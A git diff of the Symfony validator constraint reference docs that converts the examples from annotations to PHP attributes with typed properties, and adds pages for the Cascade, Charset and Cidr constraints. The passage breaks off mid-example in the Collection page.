:class:`Symfony\\Component\\Validator\\Constraints\\AtLeastOneOfValidator` ========== =================================================================== @@ -32,7 +22,7 @@ The following constraints ensure that: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Student.php namespace App\Entity; @@ -41,23 +31,19 @@ The following constraints ensure that: class Student { - /** - * @Assert\AtLeastOneOf({ - * @Assert\Regex("/#/"), - * @Assert\Length(min=10) - * }) - */ - protected $password; - - /** - * @Assert\AtLeastOneOf({ - * @Assert\Count(min=3), - * @Assert\All( - * @Assert\GreaterThanOrEqual(5) - * ) - * }) - */ - protected $grades; + #[Assert\AtLeastOneOf([ + new Assert\Regex('/#/'), + new Assert\Length(min: 10), + ])] + protected string $plainPassword; + + #[Assert\AtLeastOneOf([ + new Assert\Count(min: 3), + new Assert\All( + new Assert\GreaterThanOrEqual(5) + ), + ])] + protected array $grades; } .. code-block:: yaml @@ -127,25 +113,25 @@ The following constraints ensure that: class Student { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('password', new Assert\AtLeastOneOf([ - 'constraints' => [ - new Assert\Regex(['pattern' => '/#/']), - new Assert\Length(['min' => 10]), + $metadata->addPropertyConstraint('password', new Assert\AtLeastOneOf( + constraints: [ + new Assert\Regex(pattern: '/#/'), + new Assert\Length(min: 10), ], - ])); - - $metadata->addPropertyConstraint('grades', new Assert\AtLeastOneOf([ - 'constraints' => [ - new Assert\Count(['min' => 3]), - new Assert\All([ - 'constraints' => [ - new Assert\GreaterThanOrEqual(['value' => 5]), + )); + + $metadata->addPropertyConstraint('grades', new Assert\AtLeastOneOf( + constraints: [ + new Assert\Count(min: 3), + new Assert\All( + constraints: [ + new Assert\GreaterThanOrEqual(5), ], - ]), + ), ], - ])); + )); } } @@ -155,7 +141,7 @@ Options constraints ~~~~~~~~~~~ -**type**: ``array`` [:ref:`default option <validation-default-option>`] +**type**: ``array`` This required option is the array of validation constraints from which at least one of has to be satisfied in order for the validation to succeed. @@ -163,7 +149,7 @@ has to be satisfied in order for the validation to succeed. includeInternalMessages ~~~~~~~~~~~~~~~~~~~~~~~ -**type**: ``bool`` **default**: ``true`` +**type**: ``boolean`` **default**: ``true`` If set to ``true``, the message that is shown if the validation fails, will include the list of messages for the internal constraints. See option diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst index 029a322e294..6cde4a11bac 100644 --- a/reference/constraints/Bic.rst +++ b/reference/constraints/Bic.rst @@ -8,12 +8,6 @@ check that the BIC's country code is the same as a given IBAN's one. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `iban`_ - - `ibanMessage`_ - - `ibanPropertyPath`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Bic` Validator :class:`Symfony\\Component\\Validator\\Constraints\\BicValidator` ========== =================================================================== @@ -26,7 +20,7 @@ will contain a Business Identifier Code (BIC). .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Transaction.php namespace App\Entity; @@ -35,10 +29,8 @@ will contain a Business Identifier Code (BIC). class Transaction { - /** - * @Assert\Bic - */ - protected $businessIdentifierCode; + #[Assert\Bic] + protected string $businessIdentifierCode; } .. code-block:: yaml @@ -74,7 +66,7 @@ will contain a Business Identifier Code (BIC). class Transaction { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('businessIdentifierCode', new Assert\Bic()); } @@ -87,22 +79,22 @@ Available Options .. include:: /reference/constraints/_groups-option.rst.inc -iban -~~~~ +``iban`` +~~~~~~~~ **type**: ``string`` **default**: ``null`` An IBAN value to validate that its country code is the same as the BIC's one. -ibanMessage -~~~~~~~~~~~ +``ibanMessage`` +~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This Business Identifier Code (BIC) is not associated with IBAN {{ iban }}.`` The default message supplied when the value does not pass the combined BIC/IBAN check. -ibanPropertyPath -~~~~~~~~~~~~~~~~ +``ibanPropertyPath`` +~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``null`` @@ -112,8 +104,8 @@ For example, if you want to compare the ``$bic`` property of some object with regard to the ``$iban`` property of the same object, use ``ibanPropertyPath="iban"`` in the comparison constraint of ``$bic``. -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This is not a valid Business Identifier Code (BIC).`` @@ -129,4 +121,19 @@ Parameter Description .. include:: /reference/constraints/_payload-option.rst.inc +``mode`` +~~~~~~~~ + +**type**: ``string`` **default**: ``Bic::VALIDATION_MODE_STRICT`` + +This option defines how the BIC is validated. The possible values are available +as constants in the :class:`Symfony\\Component\\Validator\\Constraints\\Bic` class: + +* ``Bic::VALIDATION_MODE_STRICT`` validates the given value without any modification; +* ``Bic::VALIDATION_MODE_CASE_INSENSITIVE`` converts the given value to uppercase before validating it. + +.. versionadded:: 7.2 + + The ``mode`` option was introduced in Symfony 7.2. + .. _`Business Identifier Code (BIC)`: https://en.wikipedia.org/wiki/Business_Identifier_Code diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst index 8a5ba13671a..485d25319ac 100644 --- a/reference/constraints/Blank.rst +++ b/reference/constraints/Blank.rst @@ -15,9 +15,6 @@ But be careful as ``NotBlank`` is *not* strictly the opposite of ``Blank``. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Blank` Validator :class:`Symfony\\Component\\Validator\\Constraints\\BlankValidator` ========== =================================================================== @@ -30,7 +27,7 @@ of an ``Author`` class were blank, you could do the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -39,10 +36,8 @@ of an ``Author`` class were blank, you could do the following: class Author { - /** - * @Assert\Blank - */ - protected $firstName; + #[Assert\Blank] + protected string $firstName; } .. code-block:: yaml @@ -78,7 +73,7 @@ of an ``Author`` class were blank, you could do the following: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('firstName', new Assert\Blank()); } @@ -105,8 +100,4 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst index 6985f3953e1..017b9435cff 100644 --- a/reference/constraints/Callback.rst +++ b/reference/constraints/Callback.rst @@ -19,9 +19,6 @@ can do anything, including creating and assigning validation errors. ========== =================================================================== Applies to :ref:`class <validation-class-target>` or :ref:`property/method <validation-property-target>` -Options - :ref:`callback <callback-option>` - - `groups`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Callback` Validator :class:`Symfony\\Component\\Validator\\Constraints\\CallbackValidator` ========== =================================================================== @@ -31,7 +28,7 @@ Configuration .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -41,10 +38,8 @@ Configuration class Author { - /** - * @Assert\Callback - */ - public function validate(ExecutionContextInterface $context, $payload) + #[Assert\Callback] + public function validate(ExecutionContextInterface $context, mixed $payload): void { // ... } @@ -80,12 +75,12 @@ Configuration class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addConstraint(new Assert\Callback('validate')); } - public function validate(ExecutionContextInterface $context, $payload) + public function validate(ExecutionContextInterface $context, mixed $payload): void { // ... } @@ -104,9 +99,9 @@ field those errors should be attributed:: class Author { // ... - private $firstName; + private string $firstName; - public function validate(ExecutionContextInterface $context, $payload) + public function validate(ExecutionContextInterface $context, mixed $payload): void { // somehow you have an array of "fake names" $fakeNames = [/* ... */]; @@ -126,13 +121,13 @@ Static Callbacks You can also use the constraint with static methods. Since static methods don't have access to the object instance, they receive the object as the first argument:: - public static function validate($object, ExecutionContextInterface $context, $payload) + public static function validate(mixed $value, ExecutionContextInterface $context, mixed $payload): void { // somehow you have an array of "fake names" $fakeNames = [/* ... */]; // check if the name is actually a fake name - if (in_array($object->getFirstName(), $fakeNames)) { + if (in_array($value->getFirstName(), $fakeNames)) { $context->buildViolation('This name sounds totally fake!') ->atPath('firstName') ->addViolation() @@ -154,7 +149,7 @@ Suppose your validation function is ``Acme\Validator::validate()``:: class Validator { - public static function validate($object, ExecutionContextInterface $context, $payload) + public static function validate(mixed $value, ExecutionContextInterface $context, mixed $payload): void { // ... } @@ -164,16 +159,15 @@ You can then use the following configuration to invoke this validator: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; + use Acme\Validator; use Symfony\Component\Validator\Constraints as Assert; - /** - * @Assert\Callback({"Acme\Validator", "validate"}) - */ + #[Assert\Callback([Validator::class, 'validate'])] class Author { } @@ -212,7 +206,7 @@ You can then use the following configuration to invoke this validator: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addConstraint(new Assert\Callback([ Validator::class, @@ -225,7 +219,7 @@ You can then use the following configuration to invoke this validator: The Callback constraint does *not* support global callback functions nor is it possible to specify a global function or a service method - as callback. To validate using a service, you should + as a callback. To validate using a service, you should :doc:`create a custom validation constraint </validation/custom_constraint>` and add that new constraint to your class. @@ -241,9 +235,9 @@ constructor of the Callback constraint:: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $callback = function ($object, ExecutionContextInterface $context, $payload) { + $callback = function (mixed $value, ExecutionContextInterface $context, mixed $payload): void { // ... }; @@ -251,6 +245,12 @@ constructor of the Callback constraint:: } } +.. warning:: + + Using a ``Closure`` together with attribute configuration will disable the + attribute cache for that class/property/method because ``Closure`` cannot + be cached. For best performance, it's recommended to use a static callback method. + Options ------- @@ -259,7 +259,7 @@ Options ``callback`` ~~~~~~~~~~~~ -**type**: ``string``, ``array`` or ``Closure`` [:ref:`default option <validation-default-option>`] +**type**: ``string``, ``array`` or ``Closure`` The callback option accepts three different formats for specifying the callback method: @@ -271,12 +271,16 @@ callback method: * A closure. Concrete callbacks receive an :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface` -instance as only argument. +instance as the first argument and the :ref:`payload option <reference-constraints-callback-payload>` +as the second argument. -Static or closure callbacks receive the validated object as the first argument -and the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface` -instance as the second argument. +Static or closure callbacks receive the validated object as the first argument, +the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface` +instance as the second argument and the :ref:`payload option <reference-constraints-callback-payload>` +as the third argument. .. include:: /reference/constraints/_groups-option.rst.inc +.. _reference-constraints-callback-payload: + .. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst index 64d6157e2c8..a2ed9c568c3 100644 --- a/reference/constraints/CardScheme.rst +++ b/reference/constraints/CardScheme.rst @@ -7,10 +7,6 @@ a payment through a payment gateway. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ - - `schemes`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\CardScheme` Validator :class:`Symfony\\Component\\Validator\\Constraints\\CardSchemeValidator` ========== =================================================================== @@ -23,7 +19,7 @@ on an object that will contain a credit card number. .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Transaction.php namespace App\Entity; @@ -32,13 +28,11 @@ on an object that will contain a credit card number. class Transaction { - /** - * @Assert\CardScheme( - * schemes={"VISA"}, - * message="Your credit card number is invalid." - * ) - */ - protected $cardNumber; + #[Assert\CardScheme( + schemes: [Assert\CardScheme::VISA], + message: 'Your credit card number is invalid.', + )] + protected string $cardNumber; } .. code-block:: yaml @@ -81,14 +75,14 @@ on an object that will contain a credit card number. class Transaction { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('cardNumber', new Assert\CardScheme([ - 'schemes' => [ - 'VISA', + $metadata->addPropertyConstraint('cardNumber', new Assert\CardScheme( + schemes: [ + Assert\CardScheme::VISA, ], - 'message' => 'Your credit card number is invalid.', - ])); + message: 'Your credit card number is invalid.', + )); } } @@ -99,8 +93,8 @@ Available Options .. include:: /reference/constraints/_groups-option.rst.inc -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``Unsupported card type or invalid card number.`` @@ -115,16 +109,12 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc -schemes -~~~~~~~ +``schemes`` +~~~~~~~~~~~ -**type**: ``mixed`` [:ref:`default option <validation-default-option>`] +**type**: ``mixed`` This option is required and represents the name of the number scheme used to validate the credit card number, it can either be a string or an array. diff --git a/reference/constraints/Cascade.rst b/reference/constraints/Cascade.rst new file mode 100644 index 00000000000..3c99f423b0f --- /dev/null +++ b/reference/constraints/Cascade.rst @@ -0,0 +1,98 @@ +Cascade +======= + +The Cascade constraint is used to validate a whole class, including all the +objects that might be stored in its properties. Thanks to this constraint, +you don't need to add the :doc:`/reference/constraints/Valid` constraint on +every child object that you want to validate in your class. + +========== =================================================================== +Applies to :ref:`class <validation-class-target>` +Class :class:`Symfony\\Component\\Validator\\Constraints\\Cascade` +========== =================================================================== + +Basic Usage +----------- + +In the following example, the +:class:`Symfony\\Component\\Validator\\Constraints\\Cascade` constraint +will tell the validator to validate all properties of the class, including +constraints that are set in the child classes ``BookMetadata`` and +``Author``: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/BookCollection.php + namespace App\Model; + + use App\Model\Author; + use App\Model\BookMetadata; + use Symfony\Component\Validator\Constraints as Assert; + + #[Assert\Cascade] + class BookCollection + { + #[Assert\NotBlank] + protected string $name = ''; + + public BookMetadata $metadata; + + public Author $author; + + // ... + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\BookCollection: + constraints: + - Cascade: ~ + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\BookCollection"> + <constraint name="Cascade"/> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/BookCollection.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class BookCollection + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addConstraint(new Assert\Cascade()); + } + } + +Options +------- + +The ``groups`` option is not available for this constraint. + +``exclude`` +~~~~~~~~~~~ + +**type**: ``array`` | ``string`` **default**: ``null`` + +This option can be used to exclude one or more properties from the +cascade validation. + +.. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst new file mode 100644 index 00000000000..084f24cdf76 --- /dev/null +++ b/reference/constraints/Charset.rst @@ -0,0 +1,113 @@ +Charset +======= + +.. versionadded:: 7.1 + + The ``Charset`` constraint was introduced in Symfony 7.1. + +Validates that a string (or an object implementing the ``Stringable`` PHP interface) +is encoded in a given charset. + +========== ===================================================================== +Applies to :ref:`property or method <validation-property-target>` +Class :class:`Symfony\\Component\\Validator\\Constraints\\Charset` +Validator :class:`Symfony\\Component\\Validator\\Constraints\\CharsetValidator` +========== ===================================================================== + +Basic Usage +----------- + +If you wanted to ensure that the ``content`` property of a ``FileDTO`` +class uses UTF-8, you could do the following: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/FileDTO.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class FileDTO + { + #[Assert\Charset('UTF-8')] + protected string $content; + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\FileDTO: + properties: + content: + - Charset: 'UTF-8' + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\FileDTO"> + <property name="content"> + <constraint name="Charset"> + <option name="charset">UTF-8</option> + </constraint> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/FileDTO.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class FileDTO + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('content', new Assert\Charset('UTF-8')); + } + } + +Options +------- + +``encodings`` +~~~~~~~~~~~~~ + +**type**: ``array`` | ``string`` **default**: ``[]`` + +An encoding or a set of encodings to check against. If you pass an array of +encodings, the validator will check if the value is encoded in *any* of the +encodings. This option accepts any value that can be passed to the +:phpfunction:`mb_detect_encoding` PHP function. + +.. include:: /reference/constraints/_groups-option.rst.inc + +``message`` +~~~~~~~~~~~ + +**type**: ``string`` **default**: ``The detected character encoding is invalid ({{ detected }}). Allowed encodings are {{ encodings }}.`` + +This is the message that will be shown if the value does not match any of the +accepted encodings. + +You can use the following parameters in this message: + +=================== ============================================================== +Parameter Description +=================== ============================================================== +``{{ detected }}`` The detected encoding +``{{ encodings }}`` The accepted encodings +=================== ============================================================== + +.. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst index fd8481d6152..72e1ae6ecf7 100644 --- a/reference/constraints/Choice.rst +++ b/reference/constraints/Choice.rst @@ -7,17 +7,6 @@ an array of items is one of those valid choices. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `callback`_ - - `choices`_ - - `groups`_ - - `max`_ - - `maxMessage`_ - - `message`_ - - `min`_ - - `minMessage`_ - - `multiple`_ - - `multipleMessage`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Choice` Validator :class:`Symfony\\Component\\Validator\\Constraints\\ChoiceValidator` ========== =================================================================== @@ -34,7 +23,7 @@ If your valid choice list is simple, you can pass them in directly via the .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -43,19 +32,13 @@ If your valid choice list is simple, you can pass them in directly via the class Author { - const GENRES = ['fiction', 'non-fiction']; - - /** - * @Assert\Choice({"New York", "Berlin", "Tokyo"}) - */ - protected $city; - - /** - * You can also directly provide an array constant to the "choices" option in the annotation - * - * @Assert\Choice(choices=Author::GENRES, message="Choose a valid genre.") - */ - protected $genre; + public const GENRES = ['fiction', 'non-fiction']; + + #[Assert\Choice(['New York', 'Berlin', 'Tokyo'])] + protected string $city; + + #[Assert\Choice(choices: Author::GENRES, message: 'Choose a valid genre.')] + protected string $genre; } .. code-block:: yaml @@ -108,17 +91,19 @@ If your valid choice list is simple, you can pass them in directly via the class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint( 'city', new Assert\Choice(['New York', 'Berlin', 'Tokyo']) ); - $metadata->addPropertyConstraint('genre', new Assert\Choice([ - 'choices' => ['fiction', 'non-fiction'], - 'message' => 'Choose a valid genre.', - ])); + $metadata->addPropertyConstraint('genre', new Assert\Choice( + choices: ['fiction', 'non-fiction'], + message: 'Choose a valid genre.', + )); } } @@ -134,7 +119,7 @@ you can access those choices for validation or for building a select form elemen class Author { - public static function getGenres() + public static function getGenres(): array { return ['fiction', 'non-fiction']; } @@ -145,7 +130,7 @@ constraint. .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -154,10 +139,8 @@ constraint. class Author { - /** - * @Assert\Choice(callback="getGenres") - */ - protected $genre; + #[Assert\Choice(callback: 'getGenres')] + protected string $genre; } .. code-block:: yaml @@ -195,13 +178,13 @@ constraint. class Author { - protected $genre; + // ... - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('genre', new Assert\Choice([ - 'callback' => 'getGenres', - ])); + $metadata->addPropertyConstraint('genre', new Assert\Choice( + callback: 'getGenres', + )); } } @@ -210,19 +193,18 @@ you can pass the class name and the method as an array. .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; + use App\Entity\Genre; use Symfony\Component\Validator\Constraints as Assert; class Author { - /** - * @Assert\Choice(callback={"App\Entity\Genre", "getGenres"}) - */ - protected $genre; + #[Assert\Choice(callback: [Genre::class, 'getGenres'])] + protected string $genre; } .. code-block:: yaml @@ -264,30 +246,32 @@ you can pass the class name and the method as an array. class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('genre', new Assert\Choice([ - 'callback' => [Genre::class, 'getGenres'], - ])); + $metadata->addPropertyConstraint('genre', new Assert\Choice( + callback: [Genre::class, 'getGenres'], + )); } } Available Options ----------------- -callback -~~~~~~~~ +``callback`` +~~~~~~~~~~~~ -**type**: ``string|array|Closure`` +**type**: ``callable|string|null`` **default**: ``null`` This is a callback method that can be used instead of the `choices`_ option to return the choices array. See `Supplying the Choices with a Callback Function`_ for details on its usage. -choices -~~~~~~~ +``choices`` +~~~~~~~~~~~ -**type**: ``array`` [:ref:`default option <validation-default-option>`] +**type**: ``array`` A required option (unless `callback`_ is specified) - this is the array of options that should be considered in the valid set. The input value @@ -295,8 +279,8 @@ will be matched against this array. .. include:: /reference/constraints/_groups-option.rst.inc -max -~~~ +``max`` +~~~~~~~ **type**: ``integer`` @@ -305,8 +289,8 @@ to force no more than XX number of values to be selected. For example, if ``max`` is 3, but the input array contains 4 valid items, the validation will fail. -maxMessage -~~~~~~~~~~ +``maxMessage`` +~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``You must select at most {{ limit }} choices.`` @@ -320,10 +304,20 @@ Parameter Description ================= ============================================================ ``{{ choices }}`` A comma-separated list of available choices ``{{ value }}`` The current (invalid) value +``{{ limit }}`` The maximum number of selectable choices ================= ============================================================ -message -~~~~~~~ +match +~~~~~ + +**type**: ``boolean`` **default**: ``true`` + +When this option is ``false``, the constraint checks that the given value is +not one of the values defined in the ``choices`` option. In practice, it makes +the ``Choice`` constraint behave like a ``NotChoice`` constraint. + +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``The value you selected is not a valid choice.`` @@ -340,8 +334,8 @@ Parameter Description ``{{ value }}`` The current (invalid) value ================= ============================================================ -min -~~~ +``min`` +~~~~~~~ **type**: ``integer`` @@ -350,8 +344,8 @@ to force at least XX number of values to be selected. For example, if ``min`` is 3, but the input array only contains 2 valid items, the validation will fail. -minMessage -~~~~~~~~~~ +``minMessage`` +~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``You must select at least {{ limit }} choices.`` @@ -365,10 +359,11 @@ Parameter Description ================= ============================================================ ``{{ choices }}`` A comma-separated list of available choices ``{{ value }}`` The current (invalid) value +``{{ limit }}`` The minimum number of selectable choices ================= ============================================================ -multiple -~~~~~~~~ +``multiple`` +~~~~~~~~~~~~ **type**: ``boolean`` **default**: ``false`` @@ -377,8 +372,8 @@ of a single, scalar value. The constraint will check that each value of the input array can be found in the array of valid choices. If even one of the input values cannot be found, the validation will fail. -multipleMessage -~~~~~~~~~~~~~~~ +``multipleMessage`` +~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``One or more of the given values is invalid.`` @@ -388,15 +383,11 @@ is not in the array of valid choices. You can use the following parameters in this message: -=============== ============================================================== -Parameter Description -=============== ============================================================== -``{{ value }}`` The current (invalid) value -``{{ label }}`` Corresponding form field label -=============== ============================================================== - -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. +================= ============================================================ +Parameter Description +================= ============================================================ +``{{ choices }}`` A comma-separated list of available choices +``{{ value }}`` The current (invalid) value +================= ============================================================ .. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst new file mode 100644 index 00000000000..78a5b6c7167 --- /dev/null +++ b/reference/constraints/Cidr.rst @@ -0,0 +1,141 @@ +Cidr +==== + +Validates that a value is a valid `CIDR`_ (Classless Inter-Domain Routing) notation. +By default, this will validate the CIDR's IP and netmask both for version 4 and 6, +with the option of allowing only one type of IP version to be valid. It also supports +a minimum and maximum range constraint in which the value of the netmask is valid. + +========== =================================================================== +Applies to :ref:`property or method <validation-property-target>` +Class :class:`Symfony\\Component\\Validator\\Constraints\\Cidr` +Validator :class:`Symfony\\Component\\Validator\\Constraints\\CidrValidator` +========== =================================================================== + +Basic Usage +----------- + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/NetworkSettings.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class NetworkSettings + { + #[Assert\Cidr] + protected string $cidrNotation; + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\NetworkSettings: + properties: + cidrNotation: + - Cidr: ~ + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\NetworkSettings"> + <property name="cidrNotation"> + <constraint name="Cidr"/> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/NetworkSettings.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class NetworkSettings + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('cidrNotation', new Assert\Cidr()); + } + } + +.. include:: /reference/constraints/_empty-values-are-valid.rst.inc + +Options +------- + +.. include:: /reference/constraints/_groups-option.rst.inc + +``message`` +~~~~~~~~~~~ + +**type**: ``string`` **default**: ``This value is not a valid CIDR notation.`` + +This message is shown if the string is not a valid CIDR notation. + +``netmaskMin`` +~~~~~~~~~~~~~~ + +**type**: ``integer`` **default**: ``0`` + +It's a constraint for the lowest value a valid netmask may have. + +``netmaskMax`` +~~~~~~~~~~~~~~ + +**type**: ``integer`` **default**: ``32`` for IPv4 or ``128`` for IPv6 + +It's a constraint for the biggest value a valid netmask may have. + +``netmaskRangeViolationMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``The value of the netmask should be between {{ min }} and {{ max }}.`` + +This message is shown if the value of the CIDR's netmask is bigger than the +``netmaskMax`` value or lower than the ``netmaskMin`` value. + +You can use the following parameters in this message: + +=============== ============================================================== +Parameter Description +=============== ============================================================== +``{{ min }}`` The minimum value a CIDR netmask may have +``{{ max }}`` The maximum value a CIDR netmask may have +=============== ============================================================== + +.. include:: /reference/constraints/_payload-option.rst.inc + +``version`` +~~~~~~~~~~~ + +**type**: ``string`` **default**: ``all`` + +This determines exactly *how* the CIDR notation is validated and can take one +of :ref:`IP version ranges <reference-constraint-ip-version>`. + +.. note:: + + The IP range checks (e.g., ``*_private``, ``*_reserved``) validate only the + IP address, not the entire netmask. To improve validation, you can set the + ``{{ min }}`` value for the netmask. For example, the range ``9.0.0.0/6`` is + considered ``*_public``, but it also includes the ``10.0.0.0/8`` range, which + is categorized as ``*_private``. + +.. versionadded:: 7.1 + + The support of all IP version ranges was introduced in Symfony 7.1. + +.. _`CIDR`: https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst index 2f3dfd52035..c35a0103581 100644 --- a/reference/constraints/Collection.rst +++ b/reference/constraints/Collection.rst @@ -18,13 +18,6 @@ and that extra keys are not present. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `allowExtraFields`_ - - `allowMissingFields`_ - - `extraFieldsMessage`_ - - `fields`_ - - `groups`_ - - `missingFieldsMessage`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Collection` Validator :class:`Symfony\\Component\\Validator\\Constraints\\CollectionValidator` ========== =================================================================== @@ -40,12 +33,12 @@ of a collection individually. Take the following example:: class Author { - protected $profileData = [ + protected array $profileData = [ 'personal_email' => '...', 'short_bio' => '...', ]; - public function setProfileData($key, $value) + public function setProfileData($key, $value): void { $this->profileData[$key] = $value; } @@ -58,7 +51,7 @@ following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -67,22 +60,20 @@ following: class Author { - /** - * @Assert\Collection( - * fields = { - * "personal_email" = @Assert\Email, - * "short_bio" = { - * @Assert\NotBlank, - * @Assert\Length( - * max = 100, - * 